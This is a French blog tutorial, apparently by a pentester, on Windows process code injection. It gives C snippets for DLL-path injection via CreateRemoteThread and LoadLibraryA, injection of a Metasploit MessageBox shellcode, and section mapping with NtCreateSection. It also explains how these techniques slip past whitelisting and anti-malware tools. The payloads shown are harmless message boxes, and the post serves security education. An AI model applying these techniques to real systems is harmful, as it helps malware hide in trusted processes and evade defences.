Revue des techniques d’injection de code sous Windows

L’injection de code n’est pas un sujet nouveau mais cela reste intéressant car :

  • il n’y a pas une seule mais de multiples techniques d’injection de code
  • ces techniques sont toujours utilisées dans de nombreux malwares
  • je me suis aperçu que pas mal de gens en sécurité ne connaissent pas bien ce sujet.

Alors qu’est-ce que l’injection de code et à quoi ça sert ?

L’injection de code mémoire consiste à insérer un programme dans un processus Windows en cours d’exécution.

Mais pourquoi faire ?

Comme tout malware qui se respecte le but est de rester discret donc utiliser un programme déjà en mémoire c’est royal.
En effet imaginons qu’un outil de type « application whitelisting » sur un poste de travail n’autorise qu’une liste bien précise de processus à sortir sur Internet. L’injection de code dans un processus autorisé va justement permettre de passer cette barrière infranchissable.

Par ailleurs une fois l’injection de code réussie, il est possible de détourner les appels systèmes réalisés par le processus infecté. C’est de cette façon que font par exemple certains malwares pour intercepter discrètement les requêtes web (même en HTTPS).
Bref vous l’avez compris, l’injection de code pour un malware c’est top 🙁

Comment est-ce possible ?

C’est là le drame, Windows ne filtre pas nativement les accès fait aux différents processus, ce qui permet l’allocation d’une zone mémoire dans le processus cible par le processus attaquant.
Alors certes la plupart des solutions anti-malwares détectent ces techniques d’injection de bases mais pas toutes.

Alors commençons par la base.

La technique la plus connue est certainement celle employant le trio d’appels système Windows suivant :

VirtualAllocEx / WriteProcessMemory / CreateRemoteThread

Qu’est-ce que ce charabia ?

Cette technique repose sur le fait qu’il est possible d’allouer de la mémoire (VirtualAllocEx), d’écrire dans un processus (WriteProcessMemory) et d’y exécuter un thread (CreateRemoteThread).

Plusieurs façons de procéder :

1) Injection d’une DLL 

Dans ce cas on n’injecte pas du code directement mais le chemin d’une DLL malveillante que l’on exécute.

Au niveau programmation, cela se présente de la forme suivante :

LPCSTR DllPath = "Ici se trouve le chemin vers la DLL à exécuter";
int PID = pid_processus_cible // Ici on inscrit le numéro du processus cible
// On ouvre le processus cible
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
// On alloue de la mémoire dans le processus cible.
// La taille demandée correspond à la longueur de la chaîne de caractères du chemin complet de la DLL augmenté de 1 pour le caractère fin de chaîne.
LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
// On écrit le chemin de la DLL dans le processus cible
WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);
// On y est. 
// On crée un thread dans le process cible avec comme adresse mémoire celle de la DLL à faire exécuter par la fonction LoadLibray et le tour est joué
HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), pDllPath, 0, 0);

Ci-joint un screenshot montrant l’injection d’une DLL affichant un message « Hello from testlib » dans le programme Notepad++ :

https://github.com/kahlon81/Process-Injection-DLL

2) Injection d’un programme complet (code assembleur)

Dans ce cas on injecte vraiment du code sous la forme de code assembleur.

Au niveau programmation, cela se présente de la façon suivante :

On met le code à injecter dans une chaîne de caractères contenant les opcodes en hexadécimal du code assembleur. Par exemple, ci-dessous on a le code assembleur d’un MessageBox issu de l’outil Metasploit :

// Metasploit Messagebox 
char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
// On ouvre le processus cible
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 7356);
// On alloue de la mémoire dans le processus cible, la taille allouée correspond à la taille du code injecté
shell = VirtualAllocEx(proc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
// On écrit le code dans le processus cible
WriteProcessMemory(proc, shell, shellcode, sizeof(shellcode), &total);
// On exécute le code
s = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)shell, NULL, 0, 0)

Ci-joint un screenshot montrant l’injection de ce code dans Notepad++, celui-ci affichant un message « Hello, from MSF » :

https://github.com/kahlon81/Process-Injection-ASM

3) Technique dite « Reflective DLL »

Les deux techniques précédentes utilisent un appel à la fonction WriteProcessMemory, ce qui est facile à tracer par les outils anti-malwares, par conséquent ces techniques d’injection ne sont plus trop utilisées.
Une autre technique a vu le jour il y a quelques temps (utilisée par exemple par le botnet Andromeda) est justement de ne plus faire appel à la fonction WriteProcessMemory . L’idée est de créer une « section » (un programme Windows est composé de plusieurs sections) et de mapper cette section dans l’espace mémoire du processus courant et dans celui du processus cible. Ce n’est pas sans difficulté car on ne connait pas à l’avance à quelle adresse mémoire sera positionnée la nouvelle section, il sera donc nécessaire de « reloger » (déplacer) le code, ce qui veut dire recalculer les sauts d’adresses écrits en absolus. Bref, c’est plus compliqué mais ça fonctionne bien et surtout plus besoin du WriteProcessMemory !

Au niveau programmation, prenons l’exemple de la calculatrice Windows dans laquelle nous voulons injecter le code suivant :

MessageBoxA(NULL, "Code injection demo.", "pentester.blog", MB_ICONINFORMATION);

L’intégralité du code d’injection est un peu trop long à publier alors je me limite aux principaux appels :

// On suspend le processus cible (la calculette dans notre exemple)
CreateProcessW(NULL, ImagePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)
// On crée la section
NtCreateSection(&SectionHandle, SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, &SectionMaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// On map la section dans le processus cible
NtMapViewOfSection(SectionHandle, ProcessHandle, &RemoteAddress, NULL, NULL, NULL, &ViewSize, 2, NULL, PAGE_EXECUTE_READWRITE);
// La section cible est un miroir de notre section locale. 
// Toute modification dans la section locale affectera automatiquement la section cible
memcpy(LocalAddress, (LPVOID)OurBaseAddress, NtHeaders->OptionalHeader.SizeOfImage);
// On reloge le code à l'adresse RemoteAddress
RelocatePE((PBYTE)LocalAddress, RemoteAddress);
// On remet le processus à l'état normal (il était suspendu)
ResumeThread(ProcessInfo.hThread)

Ci-joint une capture écran de l’injection de code d’un MessageBox dans la calculatrice Windows :

https://github.com/kahlon81/Process-Injection-Reflective-DLL

Voila vous avez maintenant les bases de l’injection de code dans les processus Windows. Vous retrouverez sous peu sur mon Github l’ensemble des codes sources des exemples.

Pour ceux qui veulent aller plus loin, sachez que les auteurs de malwares ne manquent pas d’imagination pour échapper aux anti-malwares comme par exemple écrire octet par octet le code à injecter plutôt que d’envoyer un buffer complet ou bien ne pas envoyer des opcodes assembleur Intel mais envoyer un bytecode propriétaire (un nouveau langage en somme)…